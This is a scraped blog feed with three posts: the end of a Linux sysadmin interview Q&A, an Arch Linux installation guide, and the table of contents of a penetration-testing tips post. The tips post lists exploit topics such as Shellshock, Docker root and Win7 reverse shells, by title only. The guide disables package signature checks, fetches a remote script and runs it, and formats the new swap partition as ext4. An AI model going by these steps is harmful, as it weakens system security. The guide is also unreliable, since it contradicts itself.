<div class="highlight"><pre><code class="language-bash" data-lang="bash">you <span class="k">do</span> not need computer on a desert island because there is no <span class="nv">enegry</span> <span class="o">=)</span></code></pre></div>
<ul>
<li>You come across a random computer and it appears to be a command console for the universe. What is the first thing you type?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">It cool to live <span class="nv">forever</span> <span class="o">=)</span>
change user <span class="s1">'mylogin'</span> expiration from <span class="s1">'XXXXX-XX-XX'</span> to <span class="s1">'never'</span>
usermod -e <span class="s2">""</span> mylogin</code></pre></div>
<ul>
<li>Tell me about a creative way that you’ve used SSH?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">add to .ssh/config this lines and install tor and you can use ssh with tor.
Host *.onion
ProxyCommand socat - SOCKS4A:localhost:%h:%p,socksport<span class="o">=</span>9050</code></pre></div>
<ul>
<li>You have deleted by error a running script, what could you do to restore it?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">While script is running it is not deleted
Find pid of running script and restore it from procfs
ls -l /proc/4607/fd/4
lr-x------ <span class="m">1</span> juliet juliet <span class="m">64</span> Apr <span class="m">7</span> 03:19
/proc/4607/fd/4 -> /home/juliet/testing.txt <span class="o">(</span>deleted<span class="o">)</span>
<span class="nv">$ </span>cp /proc/4607/fd/4 testing.txt.bk</code></pre></div>
<h3 id="demo-time">[[⬆]]Demo Time:</h3>
<ul>
<li>Unpack test.tar.gz without man pages or google.</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>tar xzvf test.tar.gz</code></pre></div>
<ul>
<li>Remove all “*.pyc” files from testdir recursively?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>find ./testdir -type f -name <span class="s2">"*.pyc"</span> -ls -delete
<span class="nv">$ </span>find ./testdir -type f -name <span class="s2">"*.pyc"</span><span class="p">|</span>xargs rm -f</code></pre></div>
<ul>
<li>Search for “my konfu is the best” in all *.py files.</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>find ./testdir -type f -name <span class="s2">"*.py"</span><span class="p">|</span>xargs grep <span class="s2">"my konfu is the best"</span></code></pre></div>
<ul>
<li>Replace the occurrence of “my konfu is the best” with “I’m a linux jedi master” in all *.txt files.</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>find ./testdir -type f -name <span class="s2">"*.txt"</span><span class="p">|</span>xargs sed -i <span class="s2">"s/my konfu is the best/I\'m a linux jedi master/"</span></code></pre></div>
<ul>
<li>Test if port 443 on a machine with IP address X.X.X.X is reachable.</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span> nc -z -v X.X.X.X 443
Connection to X.X.X.X <span class="m">443</span> port <span class="o">[</span>tcp/https<span class="o">]</span> succeeded!</code></pre></div>
<ul>
<li>Get http://myinternal.webserver.local/test.html via telnet.</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>telnet myinternal.webserver.local 80
GET /test.html HTTP/1.1
HOST: myinternal.webserver.local
<ENTER>
<ENTER></code></pre></div>
<ul>
<li>How to send an email without a mail client, just on the command line?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>telnet localhost smtp
HELO example.com
mail from: [email protected]
rcpt to: [email protected]
data
<span class="m">354</span> Enter mail, end with <span class="s2">"."</span> on a line by itself
Hey
This is <span class="nb">test </span>email only
Thanks
.
quit
or
<span class="nv">$ </span>mail -s <span class="s2">"Test Subject"</span> [email protected]</code></pre></div>
<ul>
<li>Write a <code>get_prim</code> method in python/perl/bash/pseudo.</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">I don<span class="sb">`</span>t undestand what is get_prim method, <span class="k">if</span> you know, write a comment plz.</code></pre></div>
<ul>
<li>Find all files which have been accessed within the last 30 days.</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>find /* -type f -atime -30
<span class="s2">"-30"</span> means that it was accessed <span class="s2">"less than 30 days ago"</span>
<span class="s2">"+30"</span> means that it was accessed <span class="s2">"more than 30 days ago"</span></code></pre></div>
<ul>
<li>Explain the following command <code>(date ; ps -ef | awk '{print $1}' | sort | uniq | wc -l ) >> Activity.log</code></li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>date <span class="p">;</span> ps -ef <span class="p">|</span> awk <span class="s1">'{print $1}'</span> <span class="p">|</span> sort <span class="p">|</span> uniq <span class="p">|</span> wc -l
Execute date <span class="nb">command </span>which print current datetime, <span class="k">then</span> we execute process list <span class="nb">command </span>and print only UID column, than with pipe we sort it and print only uniq values, after wc -l is counting it number after all we append this to file Activity.log
If file we will see something like this:
Fri Jan <span class="m">22</span> 15:24:07 UTC 2016
6</code></pre></div>
<ul>
<li>Write a script to list all the differences between two directories.</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c">#!/bin/sh</span>
<span class="nv">usage</span><span class="o">=</span><span class="s2">"Usage: $0 DIR1 DIR2"</span>
<span class="k">if</span> <span class="o">[</span> <span class="nv">$# </span>-gt <span class="m">2</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
<span class="nb">echo</span> <span class="nv">$usage</span><span class="p">;</span>
<span class="nb">exit </span>1
<span class="k">fi</span>
<span class="k">if</span> <span class="o">[</span> -z <span class="s2">"$1"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
<span class="nb">echo</span> <span class="nv">$usage</span><span class="p">;</span>
<span class="k">fi</span>
<span class="k">if</span> <span class="o">[</span> -d <span class="s2">"$1"</span> -a -d <span class="s2">"$2"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
<span class="nb">echo</span> <span class="s2">"Comparing $1 with $2........"</span>
diff -r <span class="nv">$1</span> <span class="nv">$2</span>
<span class="k">fi</span></code></pre></div>
<ul>
<li>In a log file with contents as <code><TIME> : [MESSAGE] : [ERROR_NO] - Human readable text</code> display summary/count of specific error numbers that occured every hour or a specific hour.</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>cat log <span class="p">|</span> awk -F <span class="s2">":"</span> <span class="s1">'{print $3}'</span><span class="p">|</span>sort -n <span class="p">|</span>uniq -c
<span class="nv">$ </span>cat log <span class="p">|</span> grep <span class="s2">"specific hour"</span> <span class="p">|</span> awk -F <span class="s2">":"</span> <span class="s1">'{print $3}'</span><span class="p">|</span>sort -n <span class="p">|</span>uniq -c</code></pre></div>
<p><a href="https://jivoi.github.io/2016/01/22/linux-sysadm-devops-interview-questions/">Linux SysAdm/DevOps Interview Questions</a> was originally published by EK at <a href="https://jivoi.github.io">EK</a> on January 22, 2016.</p>https://jivoi.github.io/2015/12/30/archlinux-installation-guide2015-12-30 13:17:40 +0300T00:00:00-00:002015-12-30T00:00:00+03:00EKhttps://jivoi.github.io[email protected]<p>MY guide for installing ArchLinux</p>
<section id="table-of-contents" class="toc">
<header>
<h3>Contents</h3>
</header>
<div id="drawer">
<ul id="markdown-toc">
<li><a href="#download-and-boot" id="markdown-toc-download-and-boot">Download and Boot</a></li>
<li><a href="#network-configuration" id="markdown-toc-network-configuration">Network Configuration</a></li>
<li><a href="#create-partitions" id="markdown-toc-create-partitions">Create partitions</a></li>
<li><a href="#format-and-activate-partitions" id="markdown-toc-format-and-activate-partitions">Format and activate partitions</a></li>
<li><a href="#install-the-base-packages" id="markdown-toc-install-the-base-packages">Install the base packages</a></li>
<li><a href="#generate-fstab" id="markdown-toc-generate-fstab">Generate fstab</a></li>
<li><a href="#enter-the-new-system" id="markdown-toc-enter-the-new-system">Enter the new system</a></li>
<li><a href="#set-fastmirrors" id="markdown-toc-set-fastmirrors">Set fastmirrors</a></li>
<li><a href="#setup-system-clock" id="markdown-toc-setup-system-clock">Setup system clock</a></li>
<li><a href="#set-the-hostname" id="markdown-toc-set-the-hostname">Set the hostname</a></li>
<li><a href="#language-and-location-settings" id="markdown-toc-language-and-location-settings">Language and location settings</a></li>
<li><a href="#set-root-password" id="markdown-toc-set-root-password">Set root password</a></li>
<li><a href="#add-real-user" id="markdown-toc-add-real-user">Add real user</a></li>
<li><a href="#add-user-to-sudo" id="markdown-toc-add-user-to-sudo">Add user to sudo</a></li>
<li><a href="#configure-repositories" id="markdown-toc-configure-repositories">Configure repositories</a></li>
<li><a href="#install-grub" id="markdown-toc-install-grub">Install grub</a></li>
<li><a href="#wired-packages" id="markdown-toc-wired-packages">Wired packages</a></li>
<li><a href="#install-openssh" id="markdown-toc-install-openssh">Install OpenSSH</a></li>
<li><a href="#reboot-into-the-new-system" id="markdown-toc-reboot-into-the-new-system">Reboot into the new system</a></li>
<li><a href="#login-and-setup-network" id="markdown-toc-login-and-setup-network">Login and setup network</a></li>
<li><a href="#install-x" id="markdown-toc-install-x">Install X</a></li>
<li><a href="#kde5-plasma" id="markdown-toc-kde5-plasma">KDE5 Plasma</a></li>
<li><a href="#sound" id="markdown-toc-sound">Sound</a></li>
<li><a href="#font-rendering" id="markdown-toc-font-rendering">Font Rendering</a></li>
<li><a href="#software" id="markdown-toc-software">Software</a></li>
<li><a href="#virtualbox" id="markdown-toc-virtualbox">VirtualBox</a></li>
<li><a href="#printer" id="markdown-toc-printer">Printer</a></li>
<li><a href="#reshift" id="markdown-toc-reshift">Reshift</a></li>
<li><a href="#hdd-load-cycle-count" id="markdown-toc-hdd-load-cycle-count">HDD load cycle count</a></li>
<li><a href="#sysctl" id="markdown-toc-sysctl">Sysctl</a></li>
<li><a href="#encrypt-user-home-with-ecryptfs" id="markdown-toc-encrypt-user-home-with-ecryptfs">Encrypt User Home with ecryptfs</a></li>
<li><a href="#grub2-speedup" id="markdown-toc-grub2-speedup">GRUB2 Speedup</a></li>
<li><a href="#grub2-password" id="markdown-toc-grub2-password">GRUB2 Password</a></li>
<li><a href="#improve-ext4-performance" id="markdown-toc-improve-ext4-performance">Improve ext4 performance</a></li>
<li><a href="#system-speedup" id="markdown-toc-system-speedup">System Speedup</a></li>
<li><a href="#save-installed-pkg-list" id="markdown-toc-save-installed-pkg-list">Save installed pkg list</a></li>
<li><a href="#iptables-rules" id="markdown-toc-iptables-rules">IPtables rules</a></li>
</ul>
</div>
</section>
<!-- /#table-of-contents -->
<h3 id="download-and-boot">Download and Boot</h3>
<ul>
<li><a href="https://www.archlinux.org/download/">Download and boot with CD\USB</a></li>
</ul>
<h3 id="network-configuration">Network Configuration</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">ip link <span class="nb">set </span>wlp3s0 up
wifi-menu wlp3s0
ip addr
ping -c <span class="m">3</span> www.google.com
passwd root
systemctl start sshd</code></pre></div>
<h3 id="create-partitions">Create partitions</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># Remove old partitions then create the following partitions:</span>
<span class="c"># 2MB, type EF02 (BIOS partition). This is used by GRUB2/BIOS-GPT.</span>
<span class="c"># 1000MB, type 0800 (Linux). This will store /boot (/dev/sda2)</span>
<span class="c"># 4GB, type XXX (swap). This is our swap partition. (/dev/sda3)</span>
<span class="c"># Remaining space, type 0800 (Linux). Store both / and /home. (/dev/sda4).</span>
<span class="c"># You can have a separate /home if you prefer.</span>
cgdisk /dev/sda</code></pre></div>
<h3 id="format-and-activate-partitions">Format and activate partitions</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">mkfs.ext4 /dev/sda2
mkswap /dev/sda3 <span class="o">&&</span> swapon /dev/sda3
mkfs.ext4 /dev/sda3
mount /dev/sda4 /mnt<span class="p">;</span> mkdir /mnt/boot<span class="p">;</span> mount /dev/sda2 /mnt/boot
mkdir /mnt/home</code></pre></div>
<h3 id="install-the-base-packages">Install the base packages</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">pacstrap -i /mnt base base-devel dialog wpa_supplicant</code></pre></div>
<h3 id="generate-fstab">Generate fstab</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">genfstab -pU /mnt >> /mnt/etc/fstab
<span class="nb">echo</span> <span class="s2">"tmpfs /tmp tmpfs defaults,noatime,mode=1777 0 0"</span> >> /mnt/etc/fstab</code></pre></div>
<h3 id="enter-the-new-system">Enter the new system</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">arch-chroot /mnt /bin/bash</code></pre></div>
<h3 id="set-fastmirrors">Set fastmirrors</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">pacman -S reflector
reflector -c RU -c FR -c GE --sort rate -p http --save /etc/pacman.d/mirrorlist</code></pre></div>
<h3 id="setup-system-clock">Setup system clock</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">ln -s /usr/share/zoneinfo/Europe/SubZone /etc/localtime</code></pre></div>
<h3 id="set-the-hostname">Set the hostname</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nb">echo </span>MYHOSTNAME > /etc/hostname</code></pre></div>
<h3 id="language-and-location-settings">Language and location settings</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">mv /etc/locale.gen<span class="o">{</span>,.orig<span class="o">}</span>
<span class="nb">echo</span> <span class="s2">"en_US.UTF-8 UTF-8"</span> > /etc/locale.gen
<span class="nb">echo</span> <span class="s2">"ru_RU.UTF-8 UTF-8"</span> >> /etc/locale.gen
locale-gen
<span class="nb">echo </span><span class="nv">LANG</span><span class="o">=</span>en_US.UTF-8 > /etc/locale.conf
<span class="nb">echo</span> <span class="s1">'KEYMAP="us"'</span> >> /etc/vconsole.conf
<span class="nb">export </span><span class="nv">LANG</span><span class="o">=</span>en_US.UTF-8</code></pre></div>
<h3 id="set-root-password">Set root password</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">passwd root</code></pre></div>
<h3 id="add-real-user">Add real user</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">useradd -m -g users -G audio,lp,optical,storage,video,wheel,power,network -s /bin/bash MYUSERNAME</code></pre></div>
<h3 id="add-user-to-sudo">Add user to sudo</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">passwd MYUSERNAME
pacman -S sudo
<span class="c"># Uncomment the line '%wheel ALL=(ALL) ALL'</span>
<span class="nv">EDITOR</span><span class="o">=</span>nano<span class="p">;</span> visudo</code></pre></div>
<h3 id="configure-repositories">Configure repositories</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">nano /etc/pacman.conf
Color
<span class="o">[</span>multilib<span class="o">]</span>
<span class="nv">Include</span> <span class="o">=</span> /etc/pacman.d/mirrorlist
<span class="o">[</span>archlinuxfr<span class="o">]</span>
<span class="nv">SigLevel</span> <span class="o">=</span> Never
<span class="nv">Server</span> <span class="o">=</span> http://repo.archlinux.fr/<span class="nv">$arch</span>
<span class="o">[</span>infinality-bundle<span class="o">]</span>
<span class="nv">SigLevel</span> <span class="o">=</span> Never
<span class="nv">Server</span> <span class="o">=</span> http://bohoomil.com/repo/<span class="nv">$arch</span>
<span class="o">[</span>infinality-bundle-fonts<span class="o">]</span>
<span class="nv">SigLevel</span> <span class="o">=</span> Never
<span class="nv">Server</span> <span class="o">=</span> http://bohoomil.com/repo/fonts
sudo pacman-key -r 962DDE58
sudo pacman-key –lsign-key 962DDE58
pacman -Sy</code></pre></div>
<h3 id="install-grub">Install grub</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">pacman -S grub os-prober
grub-install --target<span class="o">=</span>i386-pc --recheck /dev/sda
grub-install --target<span class="o">=</span>x86_64-efi --efi-directory<span class="o">=</span>/boot
grub-mkconfig -o /boot/grub/grub.cfg</code></pre></div>
<h3 id="wired-packages">Wired packages</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">pacman -S iw wpa_supplicant dialog wireless_tools wpa_actiond</code></pre></div>
<h3 id="install-openssh">Install OpenSSH</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">pacman -S openssh
systemctl <span class="nb">enable </span>sshd
nano /etc/ssh/sshd_config</code></pre></div>
<h3 id="reboot-into-the-new-system">Reboot into the new system</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nb">exit</span>
umount -R /mnt
reboot</code></pre></div>
<h3 id="login-and-setup-network">Login and setup network</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">sudo wifi-menu -o
sudo netctl <span class="nb">enable </span>WIFI_PROFILE</code></pre></div>
<h3 id="install-x">Install X</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">sudo pacman -S xorg-server xorg-server-utils xorg-xinit libva-intel-driver intel-gpu-tools xf86-video-intel xf86-input-synaptics xorg-twm xorg-xclock xterm</code></pre></div>
<h3 id="kde5-plasma">KDE5 Plasma</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">sudo pacman -S plasma-desktop plasma-nm plasma-pa bluedevil kscreen dolphin dolphin-plugins kdeplasma-addons kdeconnect sddm sddm-kcm kwalletmanager print-manager sni-qt lib32-sni-qt kdegraphics-ksnapshot networkmanager network-manager-applet kde-gtk-config gwenview sni-qt lib32-sni-qt
yaourt -S papirus-icons
yaourt -S breeze-gtk-git
systemctl <span class="nb">set</span>-default graphical.target
systemctl disable kdm.service
systemctl <span class="nb">enable </span>sddm.service
systemctl disable dhcpcd.service
systemctl <span class="nb">enable </span>NetworkManager.service
systemctl <span class="nb">enable </span>cronie.service</code></pre></div>
<h3 id="sound">Sound</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">sudo pacman -S alsa-utils alsa-oss</code></pre></div>
<h3 id="font-rendering">Font Rendering</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">sudo pacman -S ttf-ubuntu-font-family ttf-liberation ttf-gentium ttf-droid ttf-bitstream-vera ttf-dejavu ttf-font terminus-font
yaourt -S ttf-ms-fonts ttf-mac-fonts
pacman -Syyu <span class="o">{</span>fontconfig,freetype2,cairo<span class="o">}</span>-infinality-ultimate
cat /etc/fonts/local.conf > ~/.config/fontconfig/fonts.conf</code></pre></div>
<h3 id="software">Software</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">sudo pacman -S yaourt bash-completion git mercurial subversion cpupower vlc gstreamer0.10-plugins jdk8-openjdk flashplugin ntfs-3g ntfsprogs ntp lshw pm-utils powertop acpid xfsprogs pidgin pidgin-sipe pidgin-libnotify purple-plugin-pack gparted dosfstools ntfsprogs intel-ucode chromium firefox dbus sudo acpi pm-utils vbetool p7zip youtube-dl ntfs-3g transmission-qt net-tools rsync unrar unzip wget zip htop redshift dropbox sublime-text-dev iptables atop clementine curl gsmartcontrol keychain nmap rdesktop screen smartmontools tmux vim workrave moreutils strace lm_sensors kde-wallpapers krusader kde-l10n-ru evince k3b ecryptfs-utils iotop speedtest-cli torsocks hdparm ack konsole plasma-workspace-wallpapers ipython networkmanager-openvpn openvpn virtualbox x11vnc scrot ecryptfs-utils lsof libreoffice udisks laptop-detect horst colordiff keepass dmidecode archlinux-keyring ark vim-systemd namcap ddrescue testdisk cabextract cpio lzop sshfs fuse ifuse dkms i7z usb_modeswitch gst-plugins-good gst-libav libdvdcss ffmpeg speex x264 x265 xvidcore android-tools gstreamer gst-libav gst-plugins-bad gst-plugins-base gst-plugins-base-libs gst-plugins-good dnsutils wireshark-qt socat tcpflow
yaourt -S chromium-pepper-flash keepass-plugin-http
yaourt -S krop
yaourt -S keebuntu</code></pre></div>
<h3 id="virtualbox">VirtualBox</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">sudo pacman -S virtualbox virtualbox-guest-iso linux-headers virtualbox-guest-modules xf86-video-vesa
yaourt virtualbox-ext-oracle
gpasswd -a username vboxusers
<span class="c"># Load module on boot</span>
<span class="c"># Edit /etc/modules-load.d/virtualbox.conf and add: vboxdrv</span>
sudo sh -c <span class="s1">'cat >> /etc/modules-load.d/virtualbox.conf << EOF</span>
<span class="s1">vboxguest</span>
<span class="s1">vboxsf</span>
<span class="s1">vboxvideo</span>
<span class="s1">EOF'</span></code></pre></div>
<h3 id="printer">Printer</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">pacman -S cups ghostscript gsfonts
<span class="c"># groupadd -g107 lpadmin</span>
/etc/cups/cups-files.conf
<span class="c"># Administrator user group...</span>
SystemGroup sys root lpadmin
systemctl start org.cups.cupsd.service
systemctl <span class="nb">enable </span>org.cups.cupsd.service
systemctl disable org.cups.cupsd.service</code></pre></div>
<h3 id="reshift">Reshift</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">/usr/bin/redshift -c /dev/null -l 55.8 37.6 -t <span class="m">5500</span> <span class="m">3700</span> -g 1.00 1.00 1.00 -b 1.00
<span class="c"># ~/.config/redshift.conf</span>
<span class="o">[</span>redshift<span class="o">]</span>
temp-day<span class="o">=</span>5500
temp-night<span class="o">=</span>3700
<span class="nv">brightness</span><span class="o">=</span>1.00
<span class="nv">gamma</span><span class="o">=</span>1.00
location-provider<span class="o">=</span>manual
<span class="o">[</span>manual<span class="o">]</span>
<span class="nv">lat</span><span class="o">=</span>55.6
<span class="nv">lon</span><span class="o">=</span>37.6</code></pre></div>
<h3 id="hdd-load-cycle-count">HDD load cycle count</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">sudo hdparm -B <span class="m">255</span> /dev/sda
sudo sh -c <span class="s1">'cat >> /etc/udev/rules.d/50-hdparm.rules << EOF</span>
<span class="s1">ACTION=="add", SUBSYSTEM=="block", KERNEL=="sda", RUN+="/usr/sbin/hdparm -B 254 -S 0 /dev/sda"</span>
<span class="s1">EOF'</span>
sudo sh -c <span class="s1">'cat >> /usr/lib/systemd/system-sleep/hdparm_set << EOF</span>
<span class="s1">#!/bin/sh</span>
<span class="s1">/usr/sbin/hdparm -B 254 -S 0 /dev/sda</span>
<span class="s1">EOF'</span>
chmod +x /usr/lib/systemd/system-sleep/hdparm_set</code></pre></div>
<h3 id="sysctl">Sysctl</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nb">echo</span> <span class="s2">"vm.swappiness=10"</span> >> /etc/sysctl.conf
<span class="nb">echo</span> <span class="s2">"vm.vfs_cache_pressure=50"</span> >> /etc/sysctl.conf</code></pre></div>
<h3 id="encrypt-user-home-with-ecryptfs">Encrypt User Home with ecryptfs</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nb">echo</span> <span class="s2">"ecryptfs"</span> > /etc/modules-load.d/ecryptfs.conf
modprobe ecryptfs
sudo ecryptfs-migrate-home -u login
ecryptfs-mount-private
ecryptfs-umount-private
cat /etc/pam.d/system-auth
<span class="c">#%PAM-1.0</span>
auth required pam_unix.so try_first_pass nullok
auth required pam_ecryptfs.so unwrap
auth optional pam_permit.so
auth required pam_env.so
account required pam_unix.so
account optional pam_permit.so
account required pam_time.so
password optional pam_ecryptfs.so
password required pam_unix.so try_first_pass nullok sha512 shadow
password optional pam_permit.so
session required pam_limits.so
session required pam_unix.so
session optional pam_ecryptfs.so
session optional pam_permit.so
<span class="c"># after login</span>
ecryptfs-unwrap-passphrase
ecryptfs-add-passphrase
<span class="c"># change passpharase</span>
ecryptfs-rewrap-passphrase /home/<span class="nv">$USER</span>/.ecryptfs/wrapped-passphrase</code></pre></div>
<h3 id="grub2-speedup">GRUB2 Speedup</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># /etc/default/grub</span>
<span class="nv">GRUB_TIMEOUT</span><span class="o">=</span>0
<span class="nv">GRUB_CMDLINE_LINUX_DEFAULT</span><span class="o">=</span><span class="s2">"quiet loglevel=3 rd.systemd.show_status=false rd.udev.log-priority=3"</span>
<span class="nv">GRUB_FORCE_HIDDEN_MENU</span><span class="o">=</span><span class="s2">"true"</span>
grub-mkconfig > /boot/grub/grub.cfg</code></pre></div>
<h3 id="grub2-password">GRUB2 Password</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">grub2-mkpasswd-pbkdf2
Enter password:
Reenter password:
PBKDF2 <span class="nb">hash </span>of your password is grub.pbkdf2.sha512.10000.SOMEHASH
<span class="c"># change config /etc/grub.d/40_custom</span>
<span class="nb">set </span><span class="nv">superusers</span><span class="o">=</span><span class="s2">"root"</span>
password_pbkdf2 root grub.pbkdf2.sha512.10000.SOMEHASH
/etc/grub.d/10_linux
<span class="nv">CLASS</span><span class="o">=</span><span class="s2">"--unrestricted"</span>
grub-mkconfig > /boot/grub/grub.cfg</code></pre></div>
<h3 id="improve-ext4-performance">Improve ext4 performance</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># - http://menelkir.itroll.org/2011/06/ext4-optimization-for-daily-use.html</span>
<span class="c"># - http://blog.smartlogic.io/2009/06/04/rails-development-mount-options-to-improve-ext4-file-system-performance</span>
<span class="c">#</span>
tune2fs -m <span class="m">0</span> /dev/sdX
<span class="c"># add to fstab</span>
<span class="c"># rw,noatime,nouser_xattr,relatime,data=ordered</span></code></pre></div>
<h3 id="system-speedup">System Speedup</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">ln -sfv /run/user/<span class="nv">$UID</span>/ /home/<span class="nv">$USER</span>/.compose-cache
systemd-analyze blame
systemd-analyze critical-chain
yaourt -S systemd-readahead
systemctl <span class="nb">enable </span>systemd-readahead-collect systemd-readahead-replay
systemctl <span class="nb">enable </span>upower
<span class="c"># change /etc/systemd/journald.conf</span>
<span class="nv">SystemMaxUse</span><span class="o">=</span>50M</code></pre></div>
<h3 id="save-installed-pkg-list">Save installed pkg list</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">pacman -Qqe <span class="p">|</span> awk <span class="s1">'{print $1}'</span> > package_list.txt</code></pre></div>
<h3 id="iptables-rules">IPtables rules</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">wget https://github.com/jivoi/scripts/raw/master/iptables_rules.sh
<span class="c"># comment localnet rules</span>
./iptables_rules.sh
iptables-save > /etc/iptables/iptables.rules
systemctl <span class="nb">enable </span>iptables.service
systemctl start iptables.service</code></pre></div>
<p><a href="https://jivoi.github.io/2015/12/30/archlinux-installation-guide/">ArchLinux Installation Guide</a> was originally published by EK at <a href="https://jivoi.github.io">EK</a> on December 30, 2015.</p>https://jivoi.github.io/2015/08/21/pentest-tips-and-tricks-number-22015-08-21 12:22:57 +0300T00:00:00-00:002015-08-21T00:00:00+03:00EKhttps://jivoi.github.io[email protected]<p>Pentest Handy Tips and Tricks - part 2.</p>
<section id="table-of-contents" class="toc">
<header>
<h3>Contents</h3>
</header>
<div id="drawer">
<ul id="markdown-toc">
<li><a href="#other-parts" id="markdown-toc-other-parts">Other Parts</a></li>
<li><a href="#tor-nat-traversal" id="markdown-toc-tor-nat-traversal">Tor Nat Traversal</a></li>
<li><a href="#dns-brute-forcing-with-fierce" id="markdown-toc-dns-brute-forcing-with-fierce">DNS brute forcing with fierce</a></li>
<li><a href="#metagoofil-metadata-gathering-tool" id="markdown-toc-metagoofil-metadata-gathering-tool">Metagoofil metadata gathering tool</a></li>
<li><a href="#a-best-nmap-scan-strategy" id="markdown-toc-a-best-nmap-scan-strategy">A best NMAP scan strategy</a></li>
<li><a href="#nmap--techniques-for-avoiding-firewalls" id="markdown-toc-nmap--techniques-for-avoiding-firewalls">Nmap – Techniques for Avoiding Firewalls</a></li>
<li><a href="#exploit-servers-to-shellshock" id="markdown-toc-exploit-servers-to-shellshock">Exploit servers to Shellshock</a></li>
<li><a href="#root-with-docker" id="markdown-toc-root-with-docker">Root with Docker</a></li>
<li><a href="#tunneling-over-dns-to-bypass-firewall" id="markdown-toc-tunneling-over-dns-to-bypass-firewall">Tunneling Over DNS to Bypass Firewall</a></li>
<li><a href="#compile-assemble-code" id="markdown-toc-compile-assemble-code">Compile Assemble code</a></li>
<li><a href="#pivoting-to-internal-network-via-non-interactive-shell" id="markdown-toc-pivoting-to-internal-network-via-non-interactive-shell">Pivoting to Internal Network Via Non Interactive Shell</a></li>
<li><a href="#patator-is-a-multi-purpose-brute-forcer" id="markdown-toc-patator-is-a-multi-purpose-brute-forcer">Patator is a multi-purpose brute-forcer</a></li>
<li><a href="#metasploit-web-terminal-via-gotty" id="markdown-toc-metasploit-web-terminal-via-gotty">Metasploit Web terminal via Gotty</a></li>
<li><a href="#get-full-shell-with-post-rce" id="markdown-toc-get-full-shell-with-post-rce">Get full shell with POST RCE</a></li>
<li><a href="#exiftool---read-and-write-meta-information-in-files" id="markdown-toc-exiftool---read-and-write-meta-information-in-files">Exiftool - Read and write meta information in files</a></li>
<li><a href="#get-system-with-admin-reverseshell-on-win7" id="markdown-toc-get-system-with-admin-reverseshell-on-win7">Get SYSTEM with Admin reverse_shell on Win7</a></li>
<li><a href="#get-system-with-standard-user-reverseshell-on-win7" id="markdown-toc-get-system-with-standard-user-reverseshell-on-win7">Get SYSTEM with Standard user reverse_shell on Win7</a></li>
<li><a href="#generate-our-own-dic-file-based-on-the-website-content" id="markdown-toc-generate-our-own-dic-file-based-on-the-website-content">Generate our own dic file based on the website content</a></li>
<li><a href="#bruteforce-dns-records-using-nmap" id="markdown-toc-bruteforce-dns-records-using-nmap">Bruteforce DNS records using Nmap</a></li>
<li><a href="#identifying-a-waf-with-nmap" id="markdown-toc-identifying-a-waf-with-nmap">Identifying a WAF with Nmap</a></li>
<li><a href="#ms08-067---without-the-use-of-metasploit" id="markdown-toc-ms08-067---without-the-use-of-metasploit">MS08-067 - without the use of Metasploit</a></li>
<li><a href="#nikto-scan-with-squid-proxy" id="markdown-toc-nikto-scan-with-squid-proxy">Nikto scan with SQUID proxy</a></li>
